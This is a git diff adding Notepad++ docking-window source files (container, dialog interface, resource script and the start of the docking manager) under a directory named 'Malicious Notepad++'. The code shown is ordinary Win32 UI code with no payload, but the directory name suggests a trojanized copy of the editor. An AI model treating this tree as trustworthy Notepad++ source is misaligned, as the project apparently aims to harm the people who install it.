NULL) && (iPosImage >= 0)) + { + // Get height of image so we + IMAGEINFO info = {0}; + RECT & imageRect = info.rcImage; + + ImageList_GetImageInfo(hImageList, iPosImage, &info); + + int iconDpiDynamicalY = NppParameters::getInstance()->_dpiManager.scaleY(7); + ImageList_Draw(hImageList, iPosImage, hDc, rc.left + 3, iconDpiDynamicalY, ILD_NORMAL); + + if (isSelected) + { + rc.left += imageRect.right - imageRect.left + 5; + } + } + } + + if (isSelected) + { + COLORREF _unselectedColor = RGB(0, 0, 0); + ::SetTextColor(hDc, _unselectedColor); + + // draw text + rc.top -= ::GetSystemMetrics(SM_CYEDGE); + ::SelectObject(hDc, _hFont); + ::DrawText(hDc, text, length, &rc, DT_SINGLELINE | DT_VCENTER | DT_NOPREFIX); + } + + ::RestoreDC(hDc, nSavedDC); +} + + +//---------------------------------------------- +// Process function of dialog +// +INT_PTR CALLBACK DockingCont::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_NCACTIVATE: + { + // Note: lParam to identify the trigger window + if (static_cast(lParam) != -1) + { + ::SendMessage(_hParent, WM_NCACTIVATE, wParam, 0); + } + break; + } + case WM_INITDIALOG: + { + _hContTab = ::GetDlgItem(_hSelf, IDC_TAB_CONT); + _hCaption = ::GetDlgItem(_hSelf, IDC_BTN_CAPTION); + + // intial subclassing of caption + ::SetWindowLongPtr(_hCaption, GWLP_USERDATA, reinterpret_cast(this)); + _hDefaultCaptionProc = reinterpret_cast(::SetWindowLongPtr(_hCaption, GWLP_WNDPROC, reinterpret_cast(wndCaptionProc))); + + // intial subclassing of tab + ::SetWindowLongPtr(_hContTab, GWLP_USERDATA, reinterpret_cast(this)); + _hDefaultTabProc = reinterpret_cast(::SetWindowLongPtr(_hContTab, GWLP_WNDPROC, reinterpret_cast(wndTabProc))); + + // set min tab width + int tabDpiDynamicalMinWidth = NppParameters::getInstance()->_dpiManager.scaleY(24); + ::SendMessage(_hContTab, TCM_SETMINTABWIDTH, 0, tabDpiDynamicalMinWidth); + + break; + } + case WM_NCCALCSIZE: + case WM_SIZE: + { + onSize(); + break; + } + case WM_DRAWITEM : + { + // draw tab or caption + if (reinterpret_cast(lParam)->CtlID == IDC_TAB_CONT) + { + drawTabItem(reinterpret_cast(lParam)); + return TRUE; + } + else + { + drawCaptionItem((DRAWITEMSTRUCT *)lParam); + return TRUE; + } + break; + } + case WM_NCLBUTTONDBLCLK : + { + RECT rcWnd = {0}; + RECT rcClient = {0}; + POINT pt = {HIWORD(lParam), LOWORD(lParam)}; + + getWindowRect(rcWnd); + getClientRect(rcClient); + ClientRectToScreenRect(_hSelf, &rcClient); + rcWnd.bottom = rcClient.top; + + // if in caption + if ((rcWnd.top < pt.x) && (rcWnd.bottom > pt.x) && + (rcWnd.left < pt.y) && (rcWnd.right > pt.y)) + { + NotifyParent(DMM_DOCKALL); + return TRUE; + } + break; + } + case WM_SYSCOMMAND : + { + switch (wParam & 0xfff0) + { + case SC_MOVE: + NotifyParent(DMM_MOVE); + return TRUE; + default: + break; + } + return FALSE; + } + case WM_COMMAND : + { + switch (LOWORD(wParam)) + { + case IDCANCEL: + doClose(); + return TRUE; + default : + break; + } + break; + } + default: + break; + } + + return FALSE; +} + +void DockingCont::onSize() +{ + TCITEM tcItem = {0}; + RECT rc = {0}; + RECT rcTemp = {0}; + UINT iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + UINT iTabOff = 0; + + getClientRect(rc); + + if (iItemCnt >= 1) + { + // resize to docked window + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(24); + if (_isFloating == false) + { + // draw caption + if (_isTopCaption == TRUE) + { + ::SetWindowPos(_hCaption, NULL, rc.left, rc.top, rc.right, _captionHeightDynamic, SWP_NOZORDER | SWP_NOACTIVATE); + rc.top += _captionHeightDynamic; + rc.bottom -= _captionHeightDynamic; + } + else + { + ::SetWindowPos(_hCaption, NULL, rc.left, rc.top, _captionHeightDynamic, rc.bottom, SWP_NOZORDER | SWP_NOACTIVATE); + rc.left += _captionHeightDynamic; + rc.right -= _captionHeightDynamic; + } + + if (iItemCnt >= 2) + { + // resize tab and plugin control if tabs exceeds one + // resize tab + rcTemp = rc; + rcTemp.top = (rcTemp.bottom + rcTemp.top) - (tabDpiDynamicalHeight + _captionGapDynamic); + rcTemp.bottom = tabDpiDynamicalHeight; + iTabOff = tabDpiDynamicalHeight; + + ::SetWindowPos(_hContTab, NULL, + rcTemp.left, rcTemp.top, rcTemp.right, rcTemp.bottom, + SWP_NOZORDER | SWP_SHOWWINDOW | SWP_NOACTIVATE); + } + + // resize client area for plugin + rcTemp = rc; + if (_isTopCaption == TRUE) + { + rcTemp.top += _captionGapDynamic; + rcTemp.bottom -= (iTabOff + _captionGapDynamic); + } + else + { + rcTemp.left += _captionGapDynamic; + rcTemp.right -= _captionGapDynamic; + rcTemp.bottom -= iTabOff; + } + + // set position of client area + ::SetWindowPos(::GetDlgItem(_hSelf, IDC_CLIENT_TAB), NULL, + rcTemp.left, rcTemp.top, rcTemp.right, rcTemp.bottom, + SWP_NOZORDER | SWP_NOACTIVATE); + } + // resize to float window + else + { + // update floating size + for (size_t iTb = 0, len = _vTbData.size(); iTb < len; ++iTb) + { + getWindowRect(_vTbData[iTb]->rcFloat); + } + + // draw caption + if (iItemCnt >= 2) + { + // resize tab if size of elements exceeds one + rcTemp = rc; + rcTemp.top = rcTemp.bottom - (tabDpiDynamicalHeight + _captionGapDynamic); + rcTemp.bottom = tabDpiDynamicalHeight; + + ::SetWindowPos(_hContTab, NULL, + rcTemp.left, rcTemp.top, rcTemp.right, rcTemp.bottom, + SWP_NOZORDER | SWP_SHOWWINDOW); + } + + // resize client area for plugin + rcTemp = rc; + rcTemp.bottom -= ((iItemCnt == 1)?0:tabDpiDynamicalHeight); + + ::SetWindowPos(::GetDlgItem(_hSelf, IDC_CLIENT_TAB), NULL, + rcTemp.left, rcTemp.top, rcTemp.right, rcTemp.bottom, + SWP_NOZORDER | SWP_NOACTIVATE); + } + + + // get active item data + size_t iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + // resize visible plugin windows + for (size_t iItem = 0; iItem < iItemCnt; ++iItem) + { + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + continue; + + ::SetWindowPos(((tTbData*)tcItem.lParam)->hClient, NULL, + 0, 0, rcTemp.right, rcTemp.bottom, + SWP_NOZORDER); + + // Notify switch in + NMHDR nmhdr; + nmhdr.code = DMN_FLOATDROPPED; + nmhdr.hwndFrom = _hSelf; + nmhdr.idFrom = 0; + ::SendMessage(((tTbData*)tcItem.lParam)->hClient, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + + } + } +} + +void DockingCont::doClose() +{ + int iItemOff = 0; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + for (int iItem = 0; iItem < iItemCnt; ++iItem) + { + TCITEM tcItem = {0}; + + // get item data + selectTab(iItemOff); + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItemOff, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + continue; + + // notify child windows + if (NotifyParent(DMM_CLOSE) == 0) + { + // delete tab + hideToolbar((tTbData*)tcItem.lParam); + } + else + { + ++iItemOff; + } + } + + if (iItemOff == 0) + { + // hide dialog first + this->doDialog(false); + ::SendMessage(_hParent, WM_SIZE, 0, 0); + } +} + +void DockingCont::showToolbar(tTbData* pTbData, BOOL state) +{ + if (state == SW_SHOW) + { + viewToolbar(pTbData); + } + else + { + hideToolbar(pTbData); + } +} + +int DockingCont::hideToolbar(tTbData *pTbData, BOOL hideClient) +{ + int iItem = searchPosInTab(pTbData); + + // delete item + if (TRUE == ::SendMessage(_hContTab, TCM_DELETEITEM, iItem, 0)) + { + auto iItemCnt = ::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0); + + if (iItemCnt != 0) + { + TCITEM tcItem = {0}; + + tcItem.mask = TCIF_PARAM; + + if (iItem == iItemCnt) + { + iItem--; + } + + // activate new selected item and view plugin dialog + _prevItem = iItem; + selectTab(iItem); + + // hide tabs if only one element + if (iItemCnt == 1) + { + ::ShowWindow(_hContTab, SW_HIDE); + } + } + else + { + // hide dialog + this->doDialog(false); + + // send message to docking manager for resize + if (!_isFloating) + { + ::SendMessage(_hParent, WM_SIZE, 0, 0); + } + } + + // keep sure, that client is hide!!! + if (hideClient == TRUE) + { + ::ShowWindow(pTbData->hClient, SW_HIDE); + } + } + onSize(); + + return iItem; +} + +void DockingCont::viewToolbar(tTbData *pTbData) +{ + TCITEM tcItem = {0}; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + if (iItemCnt > 0) + { + UINT iItem = getActiveTb(); + + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + return; + + // hide active dialog + ::ShowWindow(((tTbData*)tcItem.lParam)->hClient, SW_HIDE); + } + + // create new tab if it not exists + int iTabPos = searchPosInTab(pTbData); + tcItem.mask = TCIF_PARAM; + tcItem.lParam = reinterpret_cast(pTbData); + + if (iTabPos == -1) + { + // set only params and text even if icon available + ::SendMessage(_hContTab, TCM_INSERTITEM, iItemCnt, reinterpret_cast(&tcItem)); + selectTab(iItemCnt); + } + // if exists select it and update data + else + { + ::SendMessage(_hContTab, TCM_SETITEM, iTabPos, reinterpret_cast(&tcItem)); + selectTab(iTabPos); + } + + // show dialog and notify parent to update dialog view + if (isVisible() == false) + { + this->doDialog(); + ::SendMessage(_hParent, WM_SIZE, 0, 0); + } + + // set position of client + onSize(); +} + +int DockingCont::searchPosInTab(tTbData* pTbData) +{ + TCITEM tcItem = {0}; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + tcItem.mask = TCIF_PARAM; + + for (int iItem = 0; iItem < iItemCnt; ++iItem) + { + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + continue; + + if (((tTbData*)tcItem.lParam)->hClient == pTbData->hClient) + return iItem; + } + return -1; +} + +void DockingCont::selectTab(int iTab) +{ + if (iTab != -1) + { + const TCHAR *pszMaxTxt = NULL; + TCITEM tcItem = {0}; + SIZE size = {0}; + int maxWidth = 0; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + // get data of new active dialog + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iTab, reinterpret_cast(&tcItem)); + // show active dialog + if (!tcItem.lParam) + return; + + ::ShowWindow(((tTbData*)tcItem.lParam)->hClient, SW_SHOW); + ::SetFocus(((tTbData*)tcItem.lParam)->hClient); + + // Notify switch in + NMHDR nmhdr; + nmhdr.code = DMN_SWITCHIN; + nmhdr.hwndFrom = _hSelf; + nmhdr.idFrom = 0; + ::SendMessage(reinterpret_cast(tcItem.lParam)->hClient, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + + if (static_cast(iTab) != _prevItem) + { + // hide previous dialog + ::SendMessage(_hContTab, TCM_GETITEM, _prevItem, reinterpret_cast(&tcItem)); + + if (!tcItem.lParam) + return; + ::ShowWindow(((tTbData*)tcItem.lParam)->hClient, SW_HIDE); + + // Notify switch off + NMHDR nmhdr; + nmhdr.code = DMN_SWITCHOFF; + nmhdr.hwndFrom = _hSelf; + nmhdr.idFrom = 0; + ::SendMessage(((tTbData*)tcItem.lParam)->hClient, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + } + + // resize tab item + + // get at first largest item ... + HDC hDc = ::GetDC(_hContTab); + SelectObject(hDc, _hFont); + + for (int iItem = 0; iItem < iItemCnt; ++iItem) + { + const TCHAR *pszTabTxt = NULL; + + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + continue; + pszTabTxt = reinterpret_cast(tcItem.lParam)->pszName; + + // get current font width + GetTextExtentPoint32(hDc, pszTabTxt, lstrlen(pszTabTxt), &size); + + if (maxWidth < size.cx) + { + maxWidth = size.cx; + pszMaxTxt = pszTabTxt; + } + } + ::ReleaseDC(_hSelf, hDc); + + tcItem.mask = TCIF_TEXT; + + for (int iItem = 0; iItem < iItemCnt; ++iItem) + { + generic_string szText; + if (iItem == iTab && pszMaxTxt) + { + // fake here an icon before text ... + szText = TEXT(" "); + szText += pszMaxTxt; + } + tcItem.pszText = (TCHAR *)szText.c_str(); + ::SendMessage(_hContTab, TCM_SETITEM, iItem, reinterpret_cast(&tcItem)); + } + + // selects the pressed tab and store previous tab + ::SendMessage(_hContTab, TCM_SETCURSEL, iTab, 0); + _prevItem = iTab; + + // update caption text + updateCaption(); + + onSize(); + } +} + +bool DockingCont::updateCaption() +{ + if (!_hContTab) + return false; + + TCITEM tcItem = {0}; + int iItem = getActiveTb(); + + if (iItem < 0) + return false; + + // get data of new active dialog + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + + if (!tcItem.lParam) return false; + + // update caption text + _pszCaption = ((tTbData*)tcItem.lParam)->pszName; + + // test if additional information are available + if ((((tTbData*)tcItem.lParam)->uMask & DWS_ADDINFO) && + (lstrlen(((tTbData*)tcItem.lParam)->pszAddInfo) != 0)) + { + _pszCaption += TEXT(" - "); + _pszCaption += ((tTbData*)tcItem.lParam)->pszAddInfo; + } + + if (_isFloating == true) + { + ::SetWindowText(_hSelf, _pszCaption.c_str()); + } + else + { + ::SetWindowText(_hCaption, _pszCaption.c_str()); + } + return true; +} + +void DockingCont::focusClient() +{ + TCITEM tcItem = {0}; + int iItem = getActiveTb(); + + if (iItem != -1) + { + // get data of new active dialog + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + + // set focus + if (!tcItem.lParam) + return; + + tTbData *tbData = (tTbData *)tcItem.lParam; + if (tbData->pszAddInfo && lstrcmp(tbData->pszAddInfo, DM_NOFOCUSWHILECLICKINGCAPTION) == 0) + return; + + ::SetFocus(tbData->hClient); + } +} + +LPARAM DockingCont::NotifyParent(UINT message) +{ + return ::SendMessage(_hParent, message, 0, reinterpret_cast(this)); +} + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.h b/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.h new file mode 100644 index 0000000..e861e74 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.h @@ -0,0 +1,237 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2005 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once +#include "resource.h" +#include "Docking.h" +#include +#include "StaticDialog.h" +#include "Common.h" + + +// window styles +#define POPUP_STYLES (WS_POPUP|WS_CLIPSIBLINGS|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME|WS_MAXIMIZEBOX) +#define POPUP_EXSTYLES (WS_EX_CONTROLPARENT|WS_EX_WINDOWEDGE|WS_EX_TOOLWINDOW) +#define CHILD_STYLES (WS_CHILD) +#define CHILD_EXSTYLES (0x00000000L) + + +enum eMousePos { + posOutside, + posCaption, + posClose +}; + +// some fix modify values for GUI +#define HIGH_CAPTION 18 +#define CAPTION_GAP 2 +#define CLOSEBTN_POS_LEFT 3 +#define CLOSEBTN_POS_TOP 3 + + +class DockingCont : public StaticDialog +{ +public: + DockingCont(); + ~DockingCont(); + + HWND getTabWnd() { + return _hContTab; + }; + HWND getCaptionWnd() { + if (_isFloating == false) + return _hCaption; + else + return _hSelf; + }; + + tTbData* createToolbar(tTbData data); + void removeToolbar(tTbData data); + tTbData* findToolbarByWnd(HWND hClient); + tTbData* findToolbarByName(TCHAR* pszName); + + void showToolbar(tTbData *pTbData, BOOL state); + + BOOL updateInfo(HWND hClient) { + for (size_t iTb = 0; iTb < _vTbData.size(); ++iTb) + { + if (_vTbData[iTb]->hClient == hClient) + { + updateCaption(); + return TRUE; + } + } + return FALSE; + }; + + void setActiveTb(tTbData* pTbData); + void setActiveTb(int iItem); + int getActiveTb(); + tTbData * getDataOfActiveTb(); + std::vector getDataOfAllTb() { + return _vTbData; + }; + std::vector getDataOfVisTb(); + bool isTbVis(tTbData* data); + + void doDialog(bool willBeShown = true, bool isFloating = false); + + bool isFloating() { + return _isFloating; + } + + size_t getElementCnt() { + return _vTbData.size(); + } + + // interface function for gripper + BOOL startMovingFromTab() { + BOOL dragFromTabTemp = _dragFromTab; + _dragFromTab = FALSE; + return dragFromTabTemp; + }; + + void setCaptionTop(BOOL isTopCaption) { + _isTopCaption = (isTopCaption == CAPTION_TOP); + onSize(); + }; + + void focusClient(); + + void SetActive(BOOL bState) { + _isActive = bState; + updateCaption(); + }; + + void setTabStyle(const BOOL & bDrawOgLine) { + _bDrawOgLine = bDrawOgLine; + RedrawWindow(_hContTab, NULL, NULL, 0); + }; + + virtual void destroy() { + for (int iTb = static_cast(_vTbData.size()); iTb > 0; iTb--) + { + delete _vTbData[iTb-1]; + } + ::DestroyWindow(_hSelf); + }; + +protected : + + // Subclassing caption + LRESULT runProcCaption(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + static LRESULT CALLBACK wndCaptionProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((DockingCont *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProcCaption(hwnd, Message, wParam, lParam)); + }; + + // Subclassing tab + LRESULT runProcTab(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + static LRESULT CALLBACK wndTabProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((DockingCont *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProcTab(hwnd, Message, wParam, lParam)); + }; + + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + + // drawing functions + void drawCaptionItem(DRAWITEMSTRUCT *pDrawItemStruct); + void drawTabItem(DRAWITEMSTRUCT *pDrawItemStruct); + void onSize(); + + // functions for caption handling and drawing + eMousePos isInRect(HWND hwnd, int x, int y); + + // handling of toolbars + void doClose(); + + // return new item + int searchPosInTab(tTbData* pTbData); + void selectTab(int iTab); + + int hideToolbar(tTbData* pTbData, BOOL hideClient = TRUE); + void viewToolbar(tTbData *pTbData); + int removeTab(tTbData* pTbData) { + return hideToolbar(pTbData, FALSE); + }; + + bool updateCaption(); + LPARAM NotifyParent(UINT message); + +private: + // handles + BOOL _isActive; + bool _isFloating; + HWND _hCaption; + HWND _hContTab; + + // horizontal font for caption and tab + HFONT _hFont; + + // caption params + BOOL _isTopCaption; + generic_string _pszCaption; + + BOOL _isMouseDown; + BOOL _isMouseClose; + BOOL _isMouseOver; + RECT _rcCaption; + + // tab style + BOOL _bDrawOgLine; + + // Important value for DlgMoving class + BOOL _dragFromTab; + + // subclassing handle for caption + WNDPROC _hDefaultCaptionProc; + + // subclassing handle for tab + WNDPROC _hDefaultTabProc; + + // for moving and reordering + UINT _prevItem; + BOOL _beginDrag; + + // Is tooltip + BOOL _bTabTTHover; + INT _iLastHovered; + + BOOL _bCaptionTT; + BOOL _bCapTTHover; + eMousePos _hoverMPos; + + int _captionHeightDynamic = HIGH_CAPTION; + int _captionGapDynamic = CAPTION_GAP; + int _closeButtonPosLeftDynamic = CLOSEBTN_POS_LEFT; + int _closeButtonPosTopDynamic = CLOSEBTN_POS_TOP; + int _closeButtonWidth; + int _closeButtonHeight; + + // data of added windows + std::vector _vTbData; +}; + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingDlgInterface.h b/Malicious Notepad++/src/WinControls/DockingWnd/DockingDlgInterface.h new file mode 100644 index 0000000..249a470 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingDlgInterface.h @@ -0,0 +1,148 @@ +// this file is part of Function List Plugin for Notepad++ +// Copyright (C)2005 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software + + +#pragma once + +#include "dockingResource.h" +#include "Docking.h" + +#include +#include +#include "Common.h" +#include "StaticDialog.h" + + + +class DockingDlgInterface : public StaticDialog +{ +public: + DockingDlgInterface() = default; + explicit DockingDlgInterface(int dlgID): _dlgID(dlgID) {} + + virtual void init(HINSTANCE hInst, HWND parent) + { + StaticDialog::init(hInst, parent); + TCHAR temp[MAX_PATH]; + ::GetModuleFileName(reinterpret_cast(hInst), temp, MAX_PATH); + _moduleName = ::PathFindFileName(temp); + } + + void create(tTbData * data, bool isRTL = false) + { + assert(data != nullptr); + StaticDialog::create(_dlgID, isRTL); + TCHAR temp[MAX_PATH]; + ::GetWindowText(_hSelf, temp, MAX_PATH); + _pluginName = temp; + + // user information + data->hClient = _hSelf; + data->pszName = _pluginName.c_str(); + + // supported features by plugin + data->uMask = 0; + + // additional info + data->pszAddInfo = NULL; + } + + virtual void updateDockingDlg() + { + ::SendMessage(_hParent, NPPM_DMMUPDATEDISPINFO, 0, reinterpret_cast(_hSelf)); + } + + virtual void destroy() {} + + virtual void setBackgroundColor(COLORREF) {} + virtual void setForegroundColor(COLORREF) {} + + virtual void display(bool toShow = true) const { + ::SendMessage(_hParent, toShow ? NPPM_DMMSHOW : NPPM_DMMHIDE, 0, reinterpret_cast(_hSelf)); + } + + bool isClosed() const { + return _isClosed; + } + + void setClosed(bool toClose) { + _isClosed = toClose; + } + + const TCHAR * getPluginFileName() const { + return _moduleName.c_str(); + } + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM, LPARAM lParam) + { + switch (message) + { + + case WM_NOTIFY: + { + LPNMHDR pnmh = reinterpret_cast(lParam); + + if (pnmh->hwndFrom == _hParent) + { + switch (LOWORD(pnmh->code)) + { + case DMN_CLOSE: + { + break; + } + case DMN_FLOAT: + { + _isFloating = true; + break; + } + case DMN_DOCK: + { + _iDockedPos = HIWORD(pnmh->code); + _isFloating = false; + break; + } + default: + break; + } + } + break; + } + default: + break; + } + return FALSE; + }; + + // Handles + HWND _HSource = NULL; + int _dlgID = -1; + bool _isFloating = true; + int _iDockedPos = 0; + generic_string _moduleName; + generic_string _pluginName; + bool _isClosed = false; +}; diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingGUIWidget.rc b/Malicious Notepad++/src/WinControls/DockingWnd/DockingGUIWidget.rc new file mode 100644 index 0000000..a573bb4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingGUIWidget.rc @@ -0,0 +1,49 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "dockingResource.h" + +IDD_CONTAINER_DLG DIALOGEX 0, 0, 186, 103 +STYLE DS_SETFONT | DS_SETFOREGROUND | WS_MAXIMIZEBOX | WS_POPUP | + WS_CLIPCHILDREN | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Selected Tab" +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN + CONTROL "Caption",IDC_BTN_CAPTION,"Button",BS_OWNERDRAW | NOT + WS_VISIBLE,0,0,186,10 + LTEXT "",IDC_CLIENT_TAB,16,28,156,50,NOT WS_GROUP + CONTROL "Tab1",IDC_TAB_CONT,"SysTabControl32",TCS_BOTTOM | + TCS_OWNERDRAWFIXED | NOT WS_VISIBLE,0,14,185,88 +END + + +IDB_CLOSE_DOWN BITMAP "CloseDown.bmp" +IDB_CLOSE_UP BITMAP "CloseUp.bmp" + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.cpp b/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.cpp new file mode 100644 index 0000000..9a51d4b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingManager.cpp @@ -0,0 +1,986 @@ +// this file is part of docking functionality for Notepad++ +// Copyright (C)2006 Jens Lorenz +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include "DockingManager.h" +#include "DockingSplitter.h" +#include "DockingCont.h" +#include "Gripper.h" +#include "Parameters.h" + +using namespace std; + +BOOL DockingManager::_isRegistered = FALSE; + +//Window of event handling DockingManager (can only be one) +static HWND hWndServer = NULL; +//Next hook in line +static HHOOK gWinCallHook = NULL; +LRESULT CALLBACK focusWndProc(int nCode, WPARAM wParam, LPARAM lParam); + +// Callback function that handles messages (to test focus) +LRESULT CALLBACK focusWndProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode == HC_ACTION && hWndServer) + { + DockingManager *pDockingManager = (DockingManager *)::GetWindowLongPtr(hWndServer, GWLP_USERDATA); + if (pDockingManager) + { + vector & vcontainer = pDockingManager->getContainerInfo(); + CWPSTRUCT * pCwp = (CWPSTRUCT*)lParam; + if (pCwp->message == WM_KILLFOCUS) + { + for (int i = 0; i < DOCKCONT_MAX; ++i) + { + vcontainer[i]->SetActive(FALSE); //deactivate all containers + } + } + else if (pCwp->message == WM_SETFOCUS) + { + for (int i = 0; i < DOCKCONT_MAX; ++i) + { + vcontainer[i]->SetActive(IsChild(vcontainer[i]->getHSelf(), pCwp->hwnd)); //activate the container that contains the window with focus, this can be none + } + } + } + } + return CallNextHookEx(gWinCallHook, nCode, wParam, lParam); +} + +DockingManager::DockingManager() +{ + memset(_iContMap, -1, CONT_MAP_MAX * sizeof(int)); + + _iContMap[0] = CONT_LEFT; + _iContMap[1] = CONT_RIGHT; + _iContMap[2] = CONT_TOP; + _iContMap[3] = CONT_BOTTOM; + + // create four containers with splitters + for (int i = 0; i < DOCKCONT_MAX; ++i) + { + DockingCont *_pDockCont = new DockingCont; + _vContainer.push_back(_pDockCont); + + DockingSplitter *_pSplitter = new DockingSplitter; + _vSplitter.push_back(_pSplitter); + } +} + +DockingManager::~DockingManager() +{ + // delete 4 splitters + for (int i = 0; i < DOCKCONT_MAX; ++i) + { + delete _vSplitter[i]; + } +} + +void DockingManager::init(HINSTANCE hInst, HWND hWnd, Window ** ppWin) +{ + Window::init(hInst, hWnd); + + if (!_isRegistered) + { + WNDCLASS clz; + + clz.style = 0; + clz.lpfnWndProc = staticWinProc; + clz.cbClsExtra = 0; + clz.cbWndExtra = 0; + clz.hInstance = _hInst; + clz.hIcon = NULL; + 